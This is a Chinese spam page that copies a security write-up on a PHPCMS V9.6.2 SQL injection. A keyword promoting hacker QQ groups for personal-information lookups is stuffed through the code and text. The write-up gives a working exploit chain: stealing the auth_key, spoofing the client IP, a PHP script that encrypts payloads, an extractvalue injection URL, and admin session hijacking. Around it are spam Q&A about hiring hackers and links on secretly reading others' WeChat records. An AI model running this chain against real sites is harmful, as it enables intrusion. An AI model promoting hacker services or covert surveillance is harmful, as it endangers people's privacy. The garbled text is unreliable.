个人信息查询黑客qq群- *** 可以找到黑客吗-【技术分享】PHPCMS V9.6.2 SQL注入漏洞分析

hacker4年前黑客工具278

*** 网能够寻找黑客吗-【技术性共享】PHPCMS V9.6.2 SQL注入漏洞分析

根据这篇文章的分析:http://bobao.360.cn/learning/detail/3805.html ,详尽叙述了PHPCMS V9.6.1文档载入漏洞的开启诱因,当发觉网址是phpcms而且取得成功运用随意文档载入漏洞载入时安装文件时是不是能够开展下一步的运用,在phpcms的关键文档/caches/configs/system.php中储存了phpcms整站的数据加密密匙与全局性的配备主要参数:

 

本人记录查询黑客qq群 1

2

'cookie_pre' => 'qErKa_', //Cookie 作为前缀,同一网站域名下安裝好几套系统软件时,请改动Cookie作为前缀

本人记录查询黑客qq群 'auth_key' => 'U6KnzDrhf6ZQ5Yt7izr0', //密匙

运用这一密匙能够对 phpcms传送的数据信息加解密,应用SkyWolf在PHPcms 9.6.2中发掘来到一枚相互配合密匙运用的SQL注入漏洞,下列是详尽全过程与分析。


Skywolf

 

SykWolf详细介绍

 

什么叫SkyWolf?SkyWolf是一款自动化技术灰盒审计系统,说白了灰盒财务审计,在平时对cms的代码审计中能够了解为白盒融合白盒的安全性测试,以PHP拓展方式载入,根据环境污染传送的方式环境污染程序流程全部实行流本人记录查询黑客qq群程,并对程序执行步骤开展安全系数分析。

Skywolf控制面板详细地址:

https://5kee.360.cn/skywolf/ 

根据浏览网址插口skywolf会积极的分析正中间启用逻辑性,来列举出异常的漏洞

报警解决:展现Skywolf发觉业务流程早已开启的漏洞告警信息,点进来见到详尽的漏洞本人记录查询黑客qq群信息内容:

可疑问:服务器端数据库查询实行的异常句子

启用栈:程序流程在实行这一次要求之中所启用的涵数与编码文档物理学途径、在文档中的个数。


SQL注入漏洞分析

当浏览到phpcms的member插口:

1

phpcmsv961_1/index.php?m=member

skywolf传出了有关报警:

详尽分析以下:

在vip前台接待管理处插口的承继父类foreground:

/phpcms/modules/member/index.php 本人记录查询黑客qq群 LINE 11

 

1

2

3

4

5

6

本人记录查询黑客qq群 class index extends foreground {

    private $times_db;

    function __construct() {

本人记录查询黑客qq群         parent::__construct();

        $this->http_user_agent = $_SERVER['HTTP_USER_AGENT'];

本人记录查询黑客qq群     }

这儿承继了foreground,跟进去:

/phpcms/modules/member/classes/foreground.class.php line 19-38:

 

1

2

3

4个人记录查询黑客qq群

5

6

7

8

9

10

11

12

13

本人记录查询黑客qq群 14

15

16

17

18

19

20

21

    /**

本人记录查询黑客qq群      * 分辨客户是不是早已登录

     */

    final public function check_member() {

本人记录查询黑客qq群         $phpcms_auth = param::get_cookie('auth');

本人记录查询黑客qq群         if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) {

          本人记录查询黑客qq群  if ($phpcms_auth && ROUTE_A != 'mini') {

                showmessage(本人记录查询黑客qq群L('login_success', '', 'member'), 'index.php?m=member&c=index');

            } else {

本人记录查询黑客qq群                 return true;

            }

本人记录查询黑客qq群         } else {

            //分辨是不是存有auth cookie

  &本人记录查询黑客qq群nbsp;         if ($phpcms_auth) {

                $auth_key = $auth_key = get_auth_key('login');

本人记录查询黑客qq群                 list($userid, $password) = explode(本人记录查询黑客qq群"\ ", sys_auth($phpcms_auth, 'DECODE', $auth_key));

    & nbsp;           //验证用户,获取用户信息

个人信息查询黑客qq群                 $this->memberinfo = $this->db->get_one(array('userid'=>$userid)); //注入点在这

个人信息查询黑客qq群                 if($this->memberinfo['islock']) exit('<h1>Bad Request!</h1>');

个人信息查询黑客qq群                 //获取用户模型信息

                $this-个人信息查询黑客qq群>db->set_model($this->memberinfo['modelid']);

首先看到这里是验证前台会员用户是否登录,验证 *** 是解析客户端的cookie_pre_auth参数:

1

个人信息查询黑客qq群 $phpcms_auth = param::get_cookie('auth’);

跟到get_cookie函数:

/phpcms/libs/classes/param.class.php LINE 107-116

 

1

2

3

4

个人信息查询黑客qq群 5

6

7

8

9

10

11

12

13

14

15

个人信息查询黑客qq群

16

    /**

     * 获取通过 set_cookie 设置的 cookie 变量 

   &个人信息查询黑客qq群nbsp; * @param string $var 变量名

     * @param string $default 默认值 

个人信息查询黑客qq群      * @return mixed 成功则返回cookie 值,否则返回 false

     */

    public static function get_cookie($var, $default = '') {

个人信息查询黑客qq群         $var = pc_base::load_config('system','cookie_pre').$var;

个人信息查询黑客qq群         $value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;

        if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {

个人信息查询黑客qq群             $value = intval($value);

   个人信息查询黑客qq群     } elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { //  site_model auth

个人信息查询黑客qq群             $value = safe_replace($value);

        }

        return $value;

个人信息查询黑客qq群     }

首先读取system.php(网站全局配置./caches/configs/system.php)中的配置参数cookie_pre,也就是网站默认随机分配的cookie前缀,然后再读取到客户端cookie中的cookie_pre_auth值放入sys_auth中个人信息查询黑客qq群解密,那么客户端的cookie_pre_auth应该是经过加密处理后的,有了这些信息后get_cookie先放到这里往下走到get_auth_key:

 

1

2

3

4

$auth_key =&个人信息查询黑客qq群nbsp;$auth_key = get_auth_key('login');

                list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));

个人信息查询黑客qq群                 //验证用户,获取用户信息

个人信息查询黑客qq群                 $this->memberinfo = $this->db->get_one(array('userid'=>$userid));

这里咱们看到DECODE用到的key是$auth_key,而$auth_key又是通过get_auth_key('login’)获得的,再跟进get_auth_key:

./phpcms/libs/functions/global.func.php 个人信息查询黑客qq群 LINE 1601-1611:

 

1

2

3个人信息查询黑客qq群

4

5

6

7

8

9

10

11

12

13

个人信息查询黑客qq群

14

15

16

/**

* 生成验证key

* @param $prefix   参数

个人信息查询黑客qq群 * @param $suffix   参数

*/

function get_auth_key($prefix,$suffix="") {

    if($prefix=='login'){

个人信息查询黑客qq群         $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());

    }else if($prefix=='email'){

个人信息查询黑客qq群         $pc_auth_key = md5(pc_base::load_config('system','auth_key'));

    }else{

个人信息查询黑客qq群         $pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);

    }

    $authkey = md5($prefix.$pc_auth_key);

个人信息查询黑客qq群     return $authkey;

}

可以看到这个$prefix即是外部传入的login,满足$prefix==‘login’后开始拼接客户端ip地址再对值进行md5加密,发现ip()是可以伪个人信息查询黑客qq群造的:

 

1

2

3

4

5

6

7

8

9

个人信息查询黑客qq群 10

11

12

function ip() {

    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv(个人信息查询黑客qq群'HTTP_CLIENT_IP'), 'unknown')) {

        $ip = getenv('HTTP_CLIENT_IP');

个人信息查询黑客qq群     } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {

        $ip = getenv('HTTP_X_FORWARDED_个人信息查询黑客qq群FOR');

    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {

个人信息查询黑客qq群         $ip = getenv('REMOTE_ADDR');

    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp(个人信息查询黑客qq群$_SERVER['REMOTE_ADDR'], 'unknown')) {

        $ip = $_SERVER['REMOTE_ADDR'];

    }

个人信息查询黑客qq群     return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : '';

}

最后得到的md5值就是sys_auth($phpcms_auth, 个人信息查询黑客qq群 'DECODE', $auth_key)的解密key了,这样来分析的话payload就是经过了两次加密,完全无视任何第三方防御。

加密流程:


漏洞利用

利用方式就简单了:

通过任个人信息查询黑客qq群意文件读取获取到全局配置文件的auth_key值:

首先执行get_auth_key加密,在代码中输出$authkey = md5($prefix.$pc_auth_key)的值:

 

1

2

个人信息查询黑客qq群 3

4

5

6

7

8

9

10

11

12

1个人信息查询黑客qq群3

function get_auth_key($prefix,$suffix="") {

    if($prefix=='login'){

个人信息查询黑客qq群         $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());

    }else if($prefix=='email'){

       &个人信息查询黑客qq群nbsp;$pc_auth_key = md5(pc_base::load_config('system','auth_key'));

    }else{

        $pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);

个人信息查询黑客qq群     }

    $authkey = md5($prefix.$pc_auth_key);

个人信息查询黑客qq群     echo $authkey;

    exit();

    return $authkey;

}

方便测试,IP参数伪造为X-Forwarded-For: 个人信息查询黑客qq群 123.59.214.3,输出了$authkey后直接exit了:

1

e58cb4eb9cc211f7b0fc070d428438de

然后把phpcms关键的加解密函数sys_auth单独写到某个php文件里面:

sys_auth_key.php:

 

个人信息查询黑客qq群 1

2

3

4

5

6

7

8

个人信息查询黑客qq群 9

10

11

12

13

14

15

16

17

18

个人信息查询黑客qq群 19

20

21

22

23

24

25

26

27

28

个人信息查询黑客qq群 29

30

31

32

33

34

35

36

37

38

个人信息查询黑客qq群 39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

<?php

/**

个人信息查询黑客qq群 * 字符串加密、解密函数

*

*

* @param    string    $txt        字符串

个人信息查询黑客qq群 * @param    string    $operation    ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,

* @param    string  个人信息查询黑客qq群  $key        密钥:数字、字母、下划线

* @param    string    $expiry        个人信息查询黑客qq群过期时间

* @return    string

*/

function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {

个人信息查询黑客qq群     $ckey_length = 4;

    $key = md5($key != '' ? $key : '');

    $keya = md5(substr($key, 0, 16));

    $keyb = md5(substr($key, 16, 16));

个人信息查询黑客qq群     $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

个人信息查询黑客qq群

    $cryptkey = $keya.md5($keya.$keyc);

    $key_length = strlen($cryptkey);

个人信息查询黑客qq群     $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

个人信息查询黑客qq群     $string_length = strlen($string);

    $result = '';

个人信息查询黑客qq群     $box = range(0, 255);

    $rndkey = array();

个人信息查询黑客qq群     for($i = 0; $i <= 255; $i++) {

        $rndkey[$i] = ord($cryptkey[$i % $key_length]);

个人信息查询黑客qq群     }

    for($j = $i = 0; $i < 256; $i++) {

        $j =个人信息查询黑客qq群 ($j + $box[$i] + $rndkey[$i]) % 256;

        $tmp = $box[$i];

个人信息查询黑客qq群         $box[$i] = $box[$j];

        $box[$j] = $tmp;

    }

  &个人信息查询黑客qq群nbsp; for($a = $j = $i = 0; $i < $string_length; $i++) {

        $a = ($a + 个人信息查询黑客qq群1) % 256;

        $j = ($j + $box[$a]) % 256;

        $tmp = $box[$a];

个人信息查询黑客qq群         $box[$a] = $box[$j];

        $box[$j] = $tmp;

        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

    }个人信息查询黑客qq群

    if($operation == 'DECODE') {

个人信息查询黑客qq群         if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

个人信息查询黑客qq群             return substr($result, 26);

        } else {

个人信息查询黑客qq群             return '';

        }

    } else {

个人信息查询黑客qq群         return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');

    }

个人信息查询黑客qq群 }

$sql = $_GET['sql'];

$key = $_GET['key'];

echo sys_auth($sql,'ENCODE',$key);

?>

带入$authkey与sqli 个人信息查询黑客qq群 payload:

之一次加密:

1

http://127.0.0.1/dashboard/sys_auth_key.php?sql=1%27%20and%20%28extractvalue%281%2Cconcat%280x7e%2C%28select%20user%28%29%29%2C0x7e%29%29%29%个人信息查询黑客qq群3B%23%5Ctokee&key=e58cb4eb9cc211f7b0fc070d428438de

第二次加密:

 

1

2

http://127.0.0.1个人信息查询黑客qq群/dashboard/sys_auth_key.php?sql=b5a4XCOdNpHwEb7nT4CUVMjUkE_cO9B7umiy5--PEK9R094s0L-dvb0HVCB5RUf1SlGkbDbu7HS6lL0mgrx8CGHWjG3m01zuIiyM5dbJ6D0lXZoZZvjOpIXlwTx_30M&key=exbsh7iuTSQsEcwLBcnB

5cb5c0FCT6个人信息查询黑客qq群xz4xz7T1WONsQUFmoD3r0s8EkbTGyKIcnGDJsFO8g8fqAsJLu7_FuzHd *** syxf7RL1jzO0Lvpq_3bzvfxOB6RRNEr938TYOwW3-QrF4JevCrf8taCsSuwK1FN6hwWf2s1AQDoXc2RL6SlZ-YwM3msW7vafcw5Vmxq7cPp3NSap1SV7l5h8gdGbm0HxiI_AmC4OTrFf

然后带入到auth中里面去访问member接口:


伪造session进入后台

众所周知,通过sql注入得到的phpcms的管理员密码是无法破解出来的,具体加密啊算法:

/phpcms/libs/functions/global.func.php 个人信息查询黑客qq群 LINE 1248

 

1

2

3

4

5

6

7

8

个人信息查询黑客qq群 9

10

11

12

/**

* 对用户的密码进行加密

* @param $password

* 个人信息查询黑客qq群@param $encrypt //传入加密串,在修改密码时做认证

* @return array/password

*/

function password($password, $encrypt='') {

&个人信息查询黑客qq群nbsp;   $pwd = array();

    $pwd['encrypt'] =  $encrypt ? $encrypt : create_randomstr();

个人信息查询黑客qq群     $pwd['password'] = md5(md5(trim($password)).$pwd['encrypt']);

    return $encrypt ? $pwd['password'] : $pwd;

}

简单来说就是把明文密码做md5加密再连接上encrypt值(encrypt是创建用户的时候随机分配的字符串),再做一次md5加密,这样就很难解密了。

然而phpcms一直存在一处问题就是管理员登陆后台会将服务端的session值保存在数据库中,通过注入可以获取到session值来伪造访问后台页面,具体配置在system.php中:

 

个人信息查询黑客qq群 1

2

3

4

5

6

7

8

9

10

1个人信息查询黑客qq群1

12

13

14

<?php

return array(

//网站路径

'web_path' => '/phpcmsv961/',

个人信息查询黑客qq群 //Session配置

'session_storage' => 'mysql',

'session_ttl' => 1800,

'session_savepath' => CACHE_PATH.'sessions/',

个人信息查询黑客qq群 'session_n' => 0,

//Cookie配置

'cookie_domain' => '', //Cookie 作用域

个人信息查询黑客qq群 'cookie_path' => '', //Cookie 作用路径

'cookie_pre' => 'qErKa_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀

个人信息查询黑客qq群 'cookie_ttl' => 0, //Cookie 生命周期,0 表示随浏览器进程

mysql存储方式,session有效期为30分钟。

/phpcms/libs/classes/session_mysql.class.php

 

1

2

3

4

个人信息查询黑客qq群 5

6

7

8

9

10

11

12

13

14

个人信息查询黑客qq群 15

16

17

18

19

20

/** 

* 删除指定的session_id

* @param $id session

* @return bool

*/

    public function destroy($id) {

个人信息查询黑客qq群         return $this->db->delete(array('sessionid'=>$id));

    }

/**

* 删个人信息查询黑客qq群除过期的 session

* @param $maxlifetime 存活期时间

* @return bool

*/

个人信息查询黑客qq群    public function gc($maxlifetime) {

        $expiretime = SYS_TIME - $maxlifetime;

     &个人信息查询黑客qq群nbsp;  return $this->db->delete("`lastvisit`<$expiretime");

    }

}

只要触发了gc或destroy函数就会删除数据库中的session值,当管理员重新登陆后台个人信息查询黑客qq群后才重新生成session插入数据库中。

session数据库存放位置:

从mysql日志中分析可知:当管理员登陆后台会插入新的session到v9_session表中,每次后台操作都会进行这样的操作,使数据库中的sessionid保持最新,但是值不变。

在管理员登陆后台并且在未注销的前提下是可以通过获取管理员session值来伪造登陆的,限于篇幅,注入过程不再细说,这里直接上图:

得到sessionid,在得到这个参数后还需要一个值,就是pc_hash值,这个值在后台是个随机数,作者是想防止越权以及csrf而设计的,然而对于获取到了后台权限的我们只个人信息查询黑客qq群是一个摆设,下面直接提交数据包访问控制台首页:


修复方案

最新版本的phpcmsv9.6.3都已经修复了任意文件读取漏洞与sql注入点,可以下载最新版的补丁进行防护:

UTF8:

http://download.phpcms.cn/v9/9.0/patch/utf8/patch_20170503_20170515_UTF8.zip 

gbk:

http://download.phpcms.cn/v9/9.0/patch/gbk/patch_20170503_20170515_GBK.zip 


 

传送门

【漏洞分析】PHPCMS V9.6.1 任意文件读取漏洞分析(含PoC,已有补丁)

本文由 安全客 原创发布,个人信息查询黑客qq群如需转载请注明来源及本文地址。

本文地址:http://bobao.360.cn/learning/detail/3884.html

作者:0r3ak@0kee Team

华夏黑客联盟(我国之一个)黑客X档案(目前人气更高)红客基地(属于为国黑客)以上三种比较好,这是我个人观点!我觉得菜鸟更好去黑客X档案,因为。 *** 可以找到黑客吗

个人信息查询黑客qq群

谁有黑客的qq群介绍个。操,还十大黑客,我就醉了中国貌似只有三个被公认的黑客,你说的是哪国的河北省呀1.ANONYMOUSAnonymous,匿名者,全球更大的政治性黑客组织,以对一些国家的 *** 网站,和企业网站实施攻击而出名。在巴黎恐怖袭击事件发生之后,Anonymous之一。

*** 可以找到黑客吗。买家拉黑不好控制,毕竟买家没有店铺支持 目前有卖家拉黑功能,不过聊天软件上可以彼此拉黑的如果是付款后拉黑买家(买家未对个人信息查询黑客qq群卖家言语辱骂等或争论导致不愉快),买家可以申请退款或者收货觉得还算满意,确认收货时对于服务给予差评;要注意的是如果卖家。

自己泄漏了苹果id和密码对方可以通过查找我的iPhone进行锁机的所以千万不要点击来历不明的邮件来套取你的苹果id和密码这是健康系统,为了防止孩子们沉迷游戏的,实名注册的身份证如果是没成年的那你一天只能玩一小时,要到第二天的八点后。

你说的应该是《战争游戏》吧大卫?莱特曼(马修?布罗德里克个人信息查询黑客qq群饰)是一位天才少年,他将业余时间全都投在了电脑游戏上。一天,他通过搜索,搜到。 *** 可以找到黑客吗

首先来回答您的问题所有编程初始都要学习代码中的语言,最基础的就是C语言,当你稍微了解C语言,可以尝试学一学当今就。

*** 可以找到黑客吗我会!这个垃圾公司一生黑,我要把他骂到死。当然,只是骂,不干犯法的事这个问题,要先正确的定义黑客的概念。真正的黑客通常本身就是 *** 安全专家,他们的入侵行为通常只是一些技术性的检测或个人信息查询黑客qq群是同行之间的切磋,并不会涉及到利益。

相关文章

偷偷看别人的微信记录办法详细步骤

偷偷看别人的微信记录办法详细步骤

微信成为当今人交流必不可少的应用,成为现今的第二大聊天工具,特别是语音和文字形式,极大拉近了人与人之间的交流。但是,有时当我们运用微信时,我们经常会遇到朋友的聊天记录找不到。更难找到微信群的聊天记录。...

一本孙悟空赋予主角黑客技术(一本孙悟空赋予主角黑客技术的小说)

一本孙悟空赋予主角黑客技术(一本孙悟空赋予主角黑客技术的小说)

本文目录一览: 1、求一本书,主角有从书中获得异能的能力。第一个是孙悟空的能力。 2、孙悟空—全息碎影的含义你知道吗? 3、小说主角在漫威世界,主角被孙悟空附身,跟整个漫威英雄对抗,这个小说叫...

黑客需要哪些专业技术(黑客需要学哪些技术)

黑客需要哪些专业技术(黑客需要学哪些技术)

本文导读目录: 1、黑客都需要掌握哪些知识 2、想成为一名的黑客 必须学习哪些课程? 3、黑客是学电脑什么专业出来的? 4、成为黑客所需基础有哪些? 5、当黑客需要学什么 黑客都需要...

黑客帝国名字大全(黑客帝国 名字)

黑客帝国名字大全(黑客帝国 名字)

本文目录一览: 1、黑客帝国及男女主人翁的英文全名是?谢谢 2、黑客帝国一共几部,每部的名字叫什么,中文和英文的都要,还要主要演员的名字? 3、黑客帝国有几部 4、黑客帝国一共有多少部...

如何开一家烤鱼店赚大钱?有5点需要您格外注意!

如何开一家烤鱼店赚大钱?有5点需要您格外注意!

烤鱼作为一道可以齐聚麻辣鲜美于一体的今世餐饮项目不单受宽大消费者的喜爱,还成为了一众社会创业人士的投资加盟工具,那么作为没有履历和餐饮从业经验的创业“小白”来说如何开一家烤鱼店赚大钱?小编提醒您需要分...

最有说服力的请假的理由【请假理由大全成功率100】

1.成功率最高也是上班族最常用的理由,被发现的几率也相当高。老板很难知道他什么时候会死。 2.对于一些996工作系统来说,请假的原因无非是:工作疲劳、工作效率低和需要休养。这个成功率非常低。老板每天...